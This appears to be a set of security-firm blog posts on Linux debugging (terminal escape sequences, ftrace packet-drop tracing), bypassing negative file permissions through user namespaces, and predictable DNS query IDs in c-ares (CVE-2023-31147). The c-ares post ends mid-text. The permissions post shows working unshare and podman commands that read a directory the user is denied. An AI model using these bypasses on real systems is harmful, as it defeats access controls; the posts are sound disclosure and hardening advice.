Hunting for Ghosts

The initial step involved inspecting a tab affected by the issue. Despite examining tab-specific settings in the terminal emulator, no alarming findings emerged. Consequently, I turned my attention to the shell itself and employed the strace system call tracer¹. The objective was to investigate whether the highlighting originated from keyboard events or similar triggers, entertaining the possibility that my laptop keyboard might be malfunctioning.

Tracing read() and write() syscalls promptly revealed that my shell was indeed receiving input without any corresponding keystrokes from my end. Specifically, the shell was consistently receiving three characters: \033 (hex 0x1b), [, followed by either I or O. Subsequently, the shell emitted another character, consistently \7.

read(0, "\33", 1)                       = 1
read(0, "[", 1)                         = 1
read(0, "I", 1)                         = 1
write(2, "\7", 1)                       = 1

As I examined the strace output further, a realization struck me - 0x07 corresponds to the ASCII bell character (BEL²). This discovery literally rang a bell inside my head. It explained why the terminal emulator highlighted the tab, aligning perfectly with the expected behavior when the shell writes BEL to the output stream.

However, 0x1b, [ and I or O still puzzled me. I was already aware that octal 033 represents the escape character³. These days, such sequences are commonly used in the shell PS1 variable for creating visually appealing terminals. Although, in my case, it wasn’t related to color formatting. My attempts to search for the three-byte sequence online proved challenging due to its non-google-friendly nature, with multiple possible representations. Subsequent searches involving only the escape character and “KDE Konsole” my terminal emulator, led me to the Konsole source code on GitHub. Trusting my instincts, I delved into the Konsole source code, specifically searching for [I and [O. This search led me to a C++ method called Vt102Emulation::focusChanged⁴.

void Vt102Emulation::focusChanged(bool focused)
{
    if (_reportFocusEvents) {
        sendString(focused ? "\033[I" : "\033[O");
    }
}

It became clear that on every tab focus change, Konsole’s code was triggering the peculiar sequence. Specifically, on each tab focus change, Konsole sends either \033[I or \033[O to the shell. So far, so good. However, the mystery remained as to why I only observed this behavior on certain tabs.

Further exploration of Konsole’s source code revealed that sending the three-byte sequence is governed by the variable _reportFocusEvents, and this variable, in turn, is influenced by control sequence \033[?1004h resp. \033[?1004l. Indeed, executing the command echo -ne "\033[?1004l in an affected terminal instantaneously cured the issue. Reading these sequences is sometimes not obvious, a control sequence typically consists of an ASCII ESC character, a CSI (Control Sequence Introducer, [ in our case), and parameters. These days they are mostly used for colorful⁵ output in the shell. Enabling focus events is defined by XTerm⁶ as CSI ? 1004 h and disabling as CSI ? 1004 h, KDE Konsole follows this definition.

The question still lingers: why aren’t all tabs affected, and why didn’t I notice the problem earlier? It dawned on me that there might be a program enabling focus reporting on the affected tabs. Upon further reflection, I realized that the issue occurred exclusively on tabs I used to ssh into a particular server. Considering my unreliable internet connection leading to frequent ssh timeouts and remote shell terminations, it occurred to me: What if some program on the remote server is enabling focus reporting and leaving it enabled?

An examination of my bash history revealed that I primarily used git, vim, qemu, and other fundamental shell tools - nothing out of the ordinary. To delve deeper, I conducted additional research to determine if any of these tools, git, vim, or qemu made use of focus reporting. As it turned out, the newer version of vim, version 9, indeed includes support for focus events⁷. It suddenly struck me that I had recently upgraded to this latest version on the remote server.

To verify the hypothesis, I have created the following bpftrace⁸ script:

tracepoint:syscalls:sys_enter_write
/uid == 1000 && args->fd == 1 && args->count < 64/
{
        if (strcontains(str(args->buf, args->count), "\033[?1004h")) {
                printf("process %s (%d) enabled focus events\n", comm, pid);
        } else if (strcontains(str(args->buf, args->count), "\033[?1004l")) {
                printf("process %s (%d) disabled focus events\n", comm, pid);
        }
}

It checks whether a program run by me (uid 1000) writes the focus events enable or disable control sequence to stdout.

Indeed, vim enables these events upon start and disables them later upon regular exit.

$ bpftrace csi_write.bt
Attaching 1 probe...
process vi (18811) enabled focus events
process vi (18811) disabled focus events

From now on the following two lines are part of my .vimrc:

set t_fd=
set t_fe=

They make sure to have vim’s focus reporting feature disabled: I don’t need it.

Summary

Whenever a vim session was interrupted due to a connection timeout on this particular server, it left focus reporting enabled on my laptop’s shell. This, in turn, caused the shell to emit bell events, and explained why I occasionally observed ^I^O when running programs that didn’t consume any input. The recurrent issues with my internet connection played a crucial role in triggering this situation frequently. The interruptions in the connection led to instances where vim on the remote server was abruptly terminated, failing to disable focus reporting in the process.

Indeed, there were no ghosts in my shell - just a case of me getting a bit rusty with remembering shell control sequences, coupled with a problematic internet connection and an upgraded vim.

Analyzing Packet Drops Without Tooling: Or ftrace the Pure Way

Richard Weinberger — Thu, 02 Nov 2023 00:00:00 +0100

Analyzing Packet Drops Without Tooling: Or ftrace the Pure Way

Linux offers a rich set of debugging tools that allow the kernel to be instrumented, enabling a better understanding of its internals. Today, we’d like to show you a way to understand packet drops without the need for any additional tools to be installed. Suppose you need to understand why your machine is discarding packets, the first tools you might think about are tools like perf¹ and dropwatch². However, what if none of these tools are installed, and you cannot install anything extra? What if all we have is a shell? In that case, it’s time to lol, living off the land.

Introduction

Let’s consider a scenario where we need to understand where and at which point in the Linux network stack packets are being dropped. This is a task that senior system administrators sometimes have to tackle, and it’s also essential for pentesters when assessing the effectiveness of crafted packets.

Before we delve into the details, let’s clarify a few key aspects of packets within Linux’s network stack. In the kernel, a packet is referred to as a “socket buffer”³, commonly abbreviated as skbuff or just skb. A skb is a versatile data structure capable of holding various types of network packets. skbuffs are passed through the network stack both upwards and downwards. Different components in the stack can choose to pass the skb along, modify it, consume it, or release it.

Technically, both consuming and releasing it mean returning the buffer’s memory to the allocator and destroying the socket buffer data structure. Linux distinguishes between successful deliveries and error conditions where the network stack gives up on a particular packet. In this context, we’re concerned with the latter scenario.

The Linux Function Tracer: ftrace

A debugging gem hidden deep within the Linux kernel is the function tracer⁴, often referred to as “ftrace.” Normally, it acts as the backbone for high-level tools like trace-cmd⁵ or perf. However, even when you have virtually nothing installed, you can still leverage the function tracer through a filesystem-based interface.

This interface is provided by tracefs, which is typically mounted at /sys/kernel/debug/tracing. This assumes that the function trace feature is enabled in the kernel configuration, which is usually the case. One notable feature of ftrace is that it imposes zero runtime overhead when disabled.

While ftrace certainly merits its own extensive blog series due to its wealth of functionality, for now, let’s keep it minimal and focused. For the purposes of this blog post, all file paths are considered relative to /sys/kernel/debug/tracing/. ftrace records all events into a trace buffer, and you can access this buffer by reading from the file named trace_pipe. A straightforward cat trace_pipe command will provide a continuous stream of events if any are present. However, it’s important to note that if there are no events, the cat command will block and wait for events to appear.

Let’s Hunt for Dropped Packets

Based on our exploration of the kernel source code, we’ve already identified a function called kfree_skb(), which is responsible for destroying a socket buffer (skbuff). Our expectation is that this function is primarily used for non-consuming destruction, which means it’s applied every time the network stack gives up on a packet, resulting in the packet being discarded.

Now, let’s search for the function using ftrace:

$ grep -e kfree_skb available_filter_functions 
kfree_skbmem
kfree_skb_reason
kfree_skb_list_reason
__kfree_skb
kfree_skb_partial
__kfree_skb_defer
__dev_kfree_skb_irq
__dev_kfree_skb_any
rtnl_kfree_skbs
__traceiter_kfree_skb
trace_kfree_skb_hit
net_dm_packet_trace_kfree_skb_hit

Nice! There is a __kfree_skb, sounds good. Let’s tell ftrace to trace every invocation of this function and arm the function tracer.

$ echo __kfree_skb > set_ftrace_filter
$ echo function > current_tracer
$ echo > trace # just in case, clear old contents in the buffer
$ cat trace_pipe
      napi/-8411-1777    [006] b..2. 713195.705113: __kfree_skb <-tcp_ack
      napi/-8411-1777    [006] b..2. 713195.705120: __kfree_skb <-tcp_rcv_established
[.. over and over ...]
      napi/-8411-1777    [006] b..2. 713229.810263: __kfree_skb <-tcp_ack
      napi/-8411-1777    [006] b..2. 713229.810271: __kfree_skb <-tcp_rcv_established

Dang! That’s a lot of output. Looks like __kfree_skb() is always called for both consuming and non-consuming releases of an skb. Let’s disable ftrace again.

$ echo nop > current_tracer
$ echo > set_ftrace_filter
$ echo > trace

Continuing our exploration of the network code, we’ve discovered the function kfree_skb_reason(). This function utilizes __kfree_skb() but takes a crucial function parameter: the “reason”. This appears to be precisely what we’re looking for. The reason is of type enum skb_drop_reason as defined in include/net/dropreason-core.h. These reasons encompass values such as SKB_CONSUMED, SKB_DROP_REASON_NO_SOCKET, and SKB_DROP_REASON_NETFILTER_DROP.

Our goal is to trace every invocation of kfree_skb_reason() when the reason is not equal to SKB_CONSUMED. This will help us monitor situations where the network stack abandons a packet for reasons other than consumption.

In our quest to trace and analyze events deeper in the kernel, we encounter a limitation with ftrace’s basic function tracing. It permits us to filter events based on the function name but doesn’t provide access to function arguments. Moreover, we only observe function calls without their associated arguments, making a simple grep -v on the trace_pipe file insufficient.

To overcome this limitation, we can delve deeper into ftrace’s capabilities, particularly by leveraging custom probes known as “kprobes”⁶. A kprobe essentially serves as a probe point within the kernel and can be set at various locations, including function entry, function return, or anywhere within a function. By probing at the function entry, we gain access to the function’s arguments, allowing for more detailed analysis and tracing.

Manually installing a new kprobe is a bit cumbersome. In our case, we want to probe the function kfree_skb_reason(). To set up the kprobe, we need to inform ftrace how to access the function’s arguments, which can be machine-specific. In this example, we’ll use an x86_64 laptop. On this architecture, the Linux kernel adheres to the System V AMD64 ABI, where the first function argument is stored in the DI register, and the second one is stored in the SI register.

Setting up a kprobe requires specifying a name and a format string. We can use the register names in the format string to access the function’s arguments for analysis.

$ echo 'p:my_skb_probe kfree_skb_reason skb=%di:u64 reason=%si:u64' > kprobe_events

After this command a new directory named my_skb_probe will show up in events/kprobes/. Let’s arm it and read from the trace buffer.

$ echo 1 > events/kprobes/my_skb_probe/enable
$ echo > trace
$ cat trace_pipe
     ksoftirqd/1-23      [001] ..s.. 714457.274916: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617083415795712 reason=2
	  -0       [001] ..s1. 714457.290757: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617083415795200 reason=2
	  -0       [001] ..s1. 714457.306989: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617083415797504 reason=2
	  -0       [001] ..s1. 714457.323109: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304559104 reason=2
	  -0       [001] .Ns1. 714457.342760: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304564736 reason=2
	  -0       [001] .Ns1. 714457.358760: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304561664 reason=2
	  -0       [010] ..s1. 714457.366230: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=0 reason=2
  kworker/u32:33-28725   [004] ..... 714457.366293: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617057572911104 reason=2
	  -0       [001] .Ns1. 714457.374797: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304564992 reason=2

While we’ve made progress, there are still many events. However, we can now clearly see the reasons, with reason number 2 representing SKB_DROP_REASON_NOT_SPECIFIED.

To filter the events more effectively using ftrace, we can instruct it to only emit events when the reason is larger than 2. We use “larger” because values 0 and 1 correspond to SKB_NOT_DROPPED_YET and SKB_CONSUMED. This approach will allow us to focus on events where the network stack discards packets for reasons other than these two.

$ echo "reason > 2" > events/kprobes/my_skb_probe/filter
$ echo > trace
$ cat trace_pipe
napi/-8412-1778    [014] b.... 714699.253491: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617078699127552 reason=3

Excellent, by filtering for events with a reason larger than 2, we’ve successfully narrowed down the events to a more manageable and meaningful set. Now we’re able to focus on events that truly matter. Reason number 3 corresponds to SKB_DROP_REASON_NO_SOCKET, which, in your case, is associated with your test program attempting to connect to a closed port using telnet.

While it’s beneficial to see when Linux drops a packet, the events themselves provide limited information, primarily just the reason number. To gain deeper insights into the process and understand the path the skbuff took through the network stack, the next step is to print a stack trace. This will enable us to visualize the call chain and, hopefully, learn more about the skbuff’s journey within the network stack.

Every event in ftrace can be equipped with triggers, and one trigger type involves printing a stack trace.

$ echo 'stacktrace if reason > 2' > events/kprobes/my_skb_probe/trigger 
$ echo > trace
$ cat trace_pipe
      napi/-8412-1778    [014] b.... 715083.709832: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617059302153472 reason=3
      napi/-8412-1778    [014] b..1. 715083.709868: 
 => kprobe_trace_func
 => kprobe_dispatcher
 => kprobe_ftrace_handler
 => create_port
 => kfree_skb_reason
 => tcp_v4_rcv
 => ip_protocol_deliver_rcu
 => ip_local_deliver_finish
 => __netif_receive_skb_core.constprop.0
 => __netif_receive_skb_list_core
 => netif_receive_skb_list_internal
 => napi_complete_done
 => ath11k_pcic_ext_grp_napi_poll
 => __napi_poll
 => napi_threaded_poll
 => kthread
 => ret_from_fork

Now we see that the dropped packet arrived through the ath11k WiFi driver, and the function tcp_v4_rcv() decided to drop it on the floor!

To disable the custom probe run:

$ echo 0 > events/kprobes/my_skb_probe/enable
$ echo '!stacktrace if reason > 2' > events/kprobes/my_skb_probe/trigger
$ echo > kprobe_events

Using Tracepoints

Delving into the intricacies of kernel internals and machine-specific function call ABI details can be quite challenging and may not be necessary for everyone. Fortunately, Linux provides a more accessible solution through predefined kprobes known as tracepoints. These tracepoints are strategically placed at crucial locations in the kernel where regular function tracing might not provide sufficient context. In the case of the Linux network stack, the maintainers have thoughtfully provided tracepoints for various skbuff operations. This makes it easier for users to access and gather meaningful information without the need to delve too deeply into the kernel’s internals.

$ ls -1 events/skb
consume_skb
enable
filter
kfree_skb
skb_copy_datagram_iovec

consume_skb and kfree_skb look promising! In the event directory is also a file called format which describes the event.

$ cat events/skb/kfree_skb/format 
name: kfree_skb
[.. skipped output ..]
	field:void * skbaddr;   offset:8;       size:8; signed:0;
	field:void * location;  offset:16;      size:8; signed:0;
	field:unsigned short protocol;  offset:24;      size:2; signed:0;
	field:enum skb_drop_reason reason;      offset:28;      size:4; signed:0;
[.. skipped output ..]

The event can provide us with the drop reason. Let’s enable it and filter for reason > 2

$ echo 1 > events/skb/kfree_skb/enable 
$ echo "reason > 2" > events/skb/kfree_skb/filter
$ echo > trace
$ cat trace_pipe
  napi/-8411-1777    [006] b.... 715880.566050: kfree_skb: skbaddr=000000002d74f5c5 protocol=2048 location=tcp_v4_rcv+0x7d/0xf20 reason: NO_SOCKET

The reason has even a symbolic name and we immediately see the caller! Having a stack trace is of course also possible.

$ echo 'stacktrace if reason > 2' > events/skb/kfree_skb/trigger
$ cat trace_pipe
      napi/-8411-1777    [006] b.... 715962.431448: kfree_skb: skbaddr=0000000096888eda protocol=2048 location=tcp_v4_rcv+0x7d/0xf20 reason: NO_SOCKET
      napi/-8411-1777    [006] b..1. 715962.431472: 
 => trace_event_raw_event_kfree_skb
 => kfree_skb_reason
 => tcp_v4_rcv
 => ip_protocol_deliver_rcu
 => ip_local_deliver_finish
 => __netif_receive_skb_core.constprop.0
 => __netif_receive_skb_list_core
 => netif_receive_skb_list_internal
 => napi_complete_done
 => ath11k_pcic_ext_grp_napi_poll
 => __napi_poll
 => napi_threaded_poll
 => kthread
 => ret_from_fork

ftrace with Tracepoints In Action

Why didn’t we immediately demonstrate the easy way using tracepoints? Because learning something the hard way helps in understanding the basics. Additionally, not all interesting areas in the kernel have matching tracepoints, so sooner or later, you may need to add your own kprobes.

Summary

Even with no tracing-specific tooling installed, Linux allows for advanced debugging using a file-based interface. Using the function trace, ftrace, it’s possible to inspect the kernel’s internals easily. In this example, we used ftrace to understand how and where network packets are dropped.

No Love for Negative Permissions

Richard Weinberger — Thu, 31 Aug 2023 00:00:00 +0200

No Love for Negative Permissions

TL;DR: Avoid using negative permissions; on modern Linux systems, they can be circumvented.

Linux offers a diverse range of methods for implementing file permissions. In addition to the traditional discretionary access control (DAC), it also supports access control lists (ACL) and mandatory access control (MAC). Typically, all of these methods operate in a positive manner, meaning that each established permission configuration grants power. By default, nothing is permitted. This approach is also occasionally termed white or allow listing. However, both DAC and ACL do allow the implementation of negative permissions. Negative permissions deny access to certain users or groups while everybody else retains access. This practice is much less common and is widely seen as a poor security practice within the community.

With the advent of Linux containers, the landscape has shifted, rendering negative permissions not only a poor practice but also susceptible to bypass attacks. In contemporary Linux systems, there’s a significant likelihood that users can sidestep negative permissions and potentially gain entry to protected files.

Example of Negative Permissions

Let’s consider a scenario where everyone has access to the /usr/share/games folder. However, there’s a desire to prevent specific users from playing games. To achieve this, a new group called nogames is established, and a negative permission is implemented to deny access for members belonging to this group.

1
2
3
4
5


root@host$ groupadd nogames
root@host$ usermod -G nogames bob
root@host$ usermod -G nogames john
root@host$ chown root:nogames /usr/share/games/
root@host$ chmod u=rwx,g=,o=rx-w /usr/share/games/

Now, users bob and john are effectively restricted from accessing the /usr/share/games directory. This outcome is achieved due to the priority sequence: user DAC entries take precedence over group, and group takes precedence over other. Given that both bob and john belong to the nogames group, the permissions established for the nogames group take precedence, resulting in no granted permissions for them. Conversely, for all other users, either the user or the other entities come into play. The same objective can also be accomplished using Access Control Lists (ACLs) in place of discretionary access control (DAC). For instance, you can implement an ACL using a command like setfacl -m g:nogames:--- /usr/share/games.

Exploiting the Problem

Certainly, if a user manages to remove themselves from the nogames group, access would be restored. The setgroups()¹ system call enables the modification of supplementary groups associated with the current process. Naturally, such an operation requires privileged capabilities, specifically the CAP_SETGID capability. This mechanism highlights the significance of managing privileges and group memberships to effectively uphold the desired access controls.

With the advent of Linux containers, particularly user namespaces, the dynamics have shifted. In a user namespace, an unprivileged user possesses all capabilities. However, every action taking place within the namespace is associated with the user and group IDs of the namespace’s creator. For enabling rootless container engines like podman, the shadow-utils package includes a lesser-known toolkit: newuidmap² and newgidmap³. These tools are either set-uid-root or possess the file capability CAP_SETGID. By utilizing these tools, users can establish a fresh user namespace and set up UID and GID mappings that target distinct IDs from those of the invoking task. These mappings are maintained in /etc/subuid and /etc/subgid. When a user is created, the useradd tool configures these designated subordinate IDs.

Having multiple group ID mappings in place empowers a process within a user namespace once again to employ the setgroups() syscall, allowing it to shed supplementary groups at its discretion!

1
2
3
4


bob@host$ ls /usr/share/games
ls: cannot open directory '/usr/share/games': Permission denied
bob@host$ unshare -G 0 --map-groups=100000,0,1 ls /usr/share/games
atc  boggle quiz

The unshare tool internally employs newuidmap and newgidmap. By consulting /etc/subgid, we know that the user named bob can utilize the subordinate group ID 100000.

1
2
3
4


bob@host$ ls /usr/share/games
ls: cannot open directory '/usr/share/games': Permission denied
bob@host$ podman run --rm -it -v /:/xxx/ docker.io/bash ls /xxx/usr/share/games
atc  boggle quiz

podman in rootless mode can also be utilized to achieve the same result.

User based Negative Permissions

An attentive reader might wonder about negative permissions based on users, as we’ve mostly talked about groups so far. Consider a scenario involving negative ACLs like this: let’s say we want to prevent user bob from accessing games using an ACL command like setfacl -m u:bob:--- /usr/share/games. Once again, using unshare along with newuidmap proves to be effective. However, this time, it doesn’t involve dropping additional groups. Instead, it works by changing the effective user ID to one within a specific range.

1
2
3
4


bob@host$ ls /usr/share/games
ls: cannot open directory '/usr/share/games': Permission denied
bob@host$ unshare -S 0 --map-users=100000,0,1 ls /games
atc  boggle quiz

Background and History

At first, the idea that dropping or changing group memberships might cause problems wasn’t considered when user namespaces were added. This was mainly because people didn’t think about situations where permissions work in a negative way. It was assumed that if you leave a group, you’d have less power, and on Linux diminishing one’s own authority is usually okay. Yet, it didn’t take long to realize⁴ that dropping groups could actually give more power when dealing with negative permissions. This discovery led to an issue known as CVE-2014-8989, which was quickly fixed in Linux version 3.19.

In 2018, it was discovered that version 4.5 of the shadow-utils package introduced a new tool named newgidmap. This tool can be used to create more complex mappings for group IDs within user namespaces. Consequently, it reinstates the ability to drop group memberships using the setgroups() syscall⁵. This issue was given the tracking identifier CVE-2018-7169. The resolution adopted by some Linux distributions was to exclude this tool from their packages. Furthermore, newuidmap assists users in changing their user ID to one within an authorized range, as configured in /etc/subid⁶. This maneuver can also serve to circumvent negative permissions based on user settings.

Though this problem wasn’t a kernel bug, it became evident that rectifying this vulnerability without disrupting established programs like podman would require a non-trivial kernel change⁷⁸.

Other potential solutions also focused on the shadow-utils package itself⁹, but as of now, they haven’t gained significant traction. Ultimately, by 2021, a general agreement was reached to move away from supporting negative permissions and to acknowledge the reality that they can be circumvented¹⁰.

In 2023, Richard rediscovered the problem and opted to comprehensively document it across multiple Linux manual pages¹¹.

Summary

Negative permissions have consistently been regarded as bad practice and often treated as theoretical concept. With the incorporation of Linux containers, negative permissions can now be evaded.

If you find yourself reliant on them, consider one of the following actions:

Restructure your permissions into proper allow rules; this is the most recommended approach.
Ensure that neither newuidmap nor newgidmap is present. As of 2023, these two tools are the primary gateways for bypassing such permissions. However, this situation might change in the future.
Completely disable user namespaces by setting the user.max_user_namespaces sysctl to 0.
On Ubuntu-based systems, you can also use the kernel.unprivileged_userns_clone to disable user namespaces only for unprivileged users.

Finally, it is worth noting that there is still effort to tame newgidmap and newuidmap¹².

CVE-2023-31147: Insufficient randomness for DNS query identifiers in c-ares

David Gstir — Tue, 22 Aug 2023 00:00:00 +0200

CVE-2023-31147: Insufficient randomness for DNS query identifiers in c-ares

Despite having DNSSEC, DoH or DoT to secure DNS lookups, many systems still rely on plain old DNS from 1983. Earlier this year, we’ve been part of a larger team that audited c-ares v1.19.0. c-ares is an asynchronous DNS client library with support for a wide range of platforms. It is around for quite some time now and a few of its more prominent users include libcurl, node.js and Wireshark.

In this post, we delve into one specific outcome of our work, namely the weak DNS query ID generation in c-ares identified as CVE-2023-31147.

DNS Query ID Generation in c-ares

Even though plain DNS does not include any cryptographic measures for authenticity, DNS queries use two properties for being more resilient against forged answers¹:

Source port randomization: DNS queries originate from a randomly chosen port, and the response must be directed back to the same port of the originating query.
Random DNS query identifiers: DNS queries contain a randomized 16-bit ID, which the corresponding response must match to gain acceptance.

In the good old days, this was not the default. For instance, DNS resolvers used fixed source ports, allowing attackers to focus solely on correctly predicting the 16-bit query ID. The practical exploitation of this vulnerability was most prominently shown by Dan Kaminsky in 2008 through the publication of CVE-2008-1447. Thus, selecting the source port and query ID using a cryptographically secure random number generator (CSPRNG) is crucial: It makes it quite hard for attackers to construct and inject a malicious response before the real response arrives at the client.

When auditing a DNS protocol implementation like c-ares, we always check if these mitigations are properly implemented. In the context of this blog post, we primarily focus on random DNS query identifiers, as source port randomization is nowadays the default and is managed by the OS².

The high-level design of DNS-Query ID generation in c-ares appears fairly simple to users: Upon initialization with ares_init(ares_channel *channelptr), c-ares collects random bytes from the OSes CSPRNG. These bytes serve as the seed for an internal CSPRNG. This internal CSPRNG is then used to generate the 16-bit DNS query ID for each individual query. The CSPRNG state is stored in the opaque type ares_channel and updated every time a DNS query ID is generated through the use of ares__generate_new_id(...).

Hello 1987

Once we start looking at the code more closely, we’ll realize that not everything is well designed: First, we notice that DNS query IDs are generated using a pseudo random number generator (PRNG) based on RC4:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


static void rc4(rc4_key* key, unsigned char *buffer_ptr, int buffer_len)
{
  unsigned char x;
  unsigned char y;
  unsigned char* state;
  unsigned char xorIndex;
  int counter;

  x = key->x;
  y = key->y;

  state = &key->state[0];
  for(counter = 0; counter < buffer_len; counter ++)
  {
    x = (unsigned char)((x + 1) % 256);
    y = (unsigned char)((state[x] + y) % 256);
    ARES_SWAP_BYTE(&state[x], &state[y]);

    xorIndex = (unsigned char)((state[x] + state[y]) % 256);

    buffer_ptr[counter] = (unsigned char)(buffer_ptr[counter]^state[xorIndex]);
  }
  key->x = x;
  key->y = y;
}

// ...

/* a unique query id is generated using a rc4 key. Since the id may already
   be used by a running query (as infrequent as it may be), a lookup is
   performed per id generation. In practice this search should happen only
   once per newly generated id
*/
static unsigned short generate_unique_id(ares_channel channel)
{
  unsigned short id;

  do {
    id = ares__generate_new_id(&channel->id_key);
  } while (find_query_by_id(channel, id));

  return (unsigned short)id;
}

unsigned short ares__generate_new_id(rc4_key* key)
{
  unsigned short r=0;
  rc4(key, (unsigned char *)&r, sizeof(r));
  return r;
}

In case you’re too young or it’s been a while: RC4 is a stream cipher designed in 1987 and has gained widespread usage over the years. However, since its inception, it has been shown to be flawed and insecure multiple times. It is also the reason why Wifi protocols WPA-TKIP and WEP were both famously broken. So it is not a cipher you’d use in 2023.

Using RC4 as cryptographically secure PRNG (CSPRNG) was also quite common some time ago and it was the core of arc4random(3) which originated in OpenBSD and is nowadays part of all BSD-descendants including Apple’s macOS and iOS. However, with the discovery of more and more ways the RC4 key stream is biased and not properly random, it became clear that RC4 was unsuitable for use as a CSPRNG. As a result, today’s arc4random(3) implementations use CSPRNGs based on ChaCha20 or AES.³

Shifting our focus back to c-ares, there is more to be considered: While functions like arc4random(3) did ensure that new entropy is added after a certain amount of random bytes has been generated, c-ares takes a different approach. It simply seeds the PRNG once and uses it throughout the entire lifespan of the ares_channel. This may not be a concern for tools like adig (the dig version of c-ares), since the process will never live long enough. On the other hand, if we consider services which run for a much longer time and perform a lot of DNS queries, this might be a different story. Especially, if said service initializes a single ares_channel upon startup and uses it until it is stopped. While this is probably not really an issue with c-ares, it is common practice to reseed the PRNG after generating a certain amount of bytes.

Broken Twice

With our interest peaked, we can start looking more closely into how RC4 is seeded. This is done in the function init_id_key(rc4_key* key,int key_data_len) which gets handed in a pointer to the rc4_key type stored in the ares_channel and a number dubbed key_data_len:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


static int init_id_key(rc4_key* key,int key_data_len)
{
  unsigned char index1;
  unsigned char index2;
  unsigned char* state;
  short counter;
  unsigned char *key_data_ptr = 0;

  key_data_ptr = ares_malloc(key_data_len);
  if (!key_data_ptr)
    return ARES_ENOMEM;
  memset(key_data_ptr, 0, key_data_len);

  state = &key->state[0];
  for(counter = 0; counter < 256; counter++)
    /* unnecessary AND but it keeps some compilers happier */
    state[counter] = (unsigned char)(counter & 0xff);
  randomize_key(key->state,key_data_len);
  key->x = 0;
  key->y = 0;
  index1 = 0;
  index2 = 0;
  for(counter = 0; counter < 256; counter++)
  {
    index2 = (unsigned char)((key_data_ptr[index1] + state[counter] +
                              index2) % 256);
    ARES_SWAP_BYTE(&state[counter], &state[index2]);

    index1 = (unsigned char)((index1 + 1) % key_data_len);
  }
  ares_free(key_data_ptr);
  return ARES_SUCCESS;
}

We notice that the buffer key_data_ptr is actually useless, since it is never populated with something other than all zero bytes. So we can actually ignore it in the calculation of index2 in line 25.

Furthermore, the 256-byte buffer key->state[] is filled with numbers from 0 to 255, and then handed to a function randomize_key(...) which one would assume shuffles the contents of key->state[]. Also notice that we hand key_data_len to this function. Digging through the header files, we can find that its value is always ARES_ID_KEY_LEN, which is 31. So this is not the length of key->state[] which is 256 bytes.

Therefore, it begs the question where the true randomness is fetched from the OS. Looking at the code above, randomize_key(...) is the only sensible candidate. Prior to delving into that, let’s briefly compare how RC4 is implemented in OpenSSL:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


void RC4_set_key(RC4_KEY *key, int len, const unsigned char *data)
{
    register RC4_INT tmp;
    register int id1, id2;
    register RC4_INT *d;
    unsigned int i;

    d = &(key->data[0]);
    key->x = 0;
    key->y = 0;
    id1 = id2 = 0;

#define SK_LOOP(d,n) { \
                tmp=d[(n)]; \
                id2 = (data[id1] + tmp + id2) & 0xff; \
                if (++id1 == len) id1=0; \
                d[(n)]=d[id2]; \
                d[id2]=tmp; }

    for (i = 0; i < 256; i++)
        d[i] = i;
    for (i = 0; i < 256; i += 4) {
        SK_LOOP(d, i + 0);
        SK_LOOP(d, i + 1);
        SK_LOOP(d, i + 2);
        SK_LOOP(d, i + 3);
    }
}

We’ll notice that init_id_key(...) in c-ares is slightly different and actually broken:

OpenSSL’s key schedule implementation receives the raw key via the data buffer, initializes the state buffer d and then shuffles d and data.

In c-ares, key_data_ptr is OpenSSL’s data buffer and state is the equivalent of pointer d. Knowing this, we can see that c-ares confused key->state with key_data_ptr when calling randomize_key(...) which we assume retrieves a random key. Consequently, the 256 ARES_SWAP_BYTE(...) operations in c-ares’ key schedule incorrectly depend on key->state only, but not key_data_ptr.

Without going into all the math details here, this definitely looks worse than what the original RC4 key schedule does as it is likely resulting in fewer possible permutations of key->state[]. We can assume that this has a downside on the quality of random numbers it generates.

Predictable Randomness

Finally, let’s take a look at the randomize_key(...) more closely:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


/* initialize an rc4 key. If possible a cryptographically secure random key
   is generated using a suitable function otherwise the code defaults to
   cross-platform albeit less secure mechanism using rand
*/
static void randomize_key(unsigned char* key,int key_data_len)
{
  int randomized = 0;
  int counter=0;
#ifdef WIN32
  BOOLEAN res;

  res = RtlGenRandom(key, key_data_len);
  if (res)
    randomized = 1;

#else /* !WIN32 */
#  ifdef CARES_RANDOM_FILE
  FILE *f = fopen(CARES_RANDOM_FILE, "rb");
  if(f) {
    setvbuf(f, NULL, _IONBF, 0);
    counter = aresx_uztosi(fread(key, 1, key_data_len, f));
    fclose(f);
  }
#  endif
#endif /* WIN32 */

  if (!randomized) {
    for (;counter<key_data_len;counter++)
      key[counter]=(unsigned char)(rand() % 256);  /* LCOV_EXCL_LINE */
  }
}

At first glance, this appears okay: On WIN32 systems, RtlGenRandom() is used to query key_data_len bytes of randomness from the OS and place them into key which is key->state[] in the caller init_id_key(...).

On non-WIN32 targets, we either open the file path of CARES_RANDOM_FILE and read key_data_len bytes from there or fall back to using rand() to get the same amount of random numbers. We assume that CARES_RANDOM_FILE is set to /dev/urandom or /dev/random for now.

An initial observation here is that the fallback relies on rand(3), which is not designed for generating cryptographically secure random numbers. Since it is only a fallback if nothing else works it is better than return 4;, but it would be a better choice to first try to use arc4random(3) on *BSD or getrandom(2) on Linux, just in case.

More concerning though, is the absence of any srand(3) in the whole source, which would seed the PRNG used by rand(3). Without it, rand(3) will output the same sequence of numbers every single time! This means that all our DNS query IDs will be fully predictable every time we end up in this fallback case.

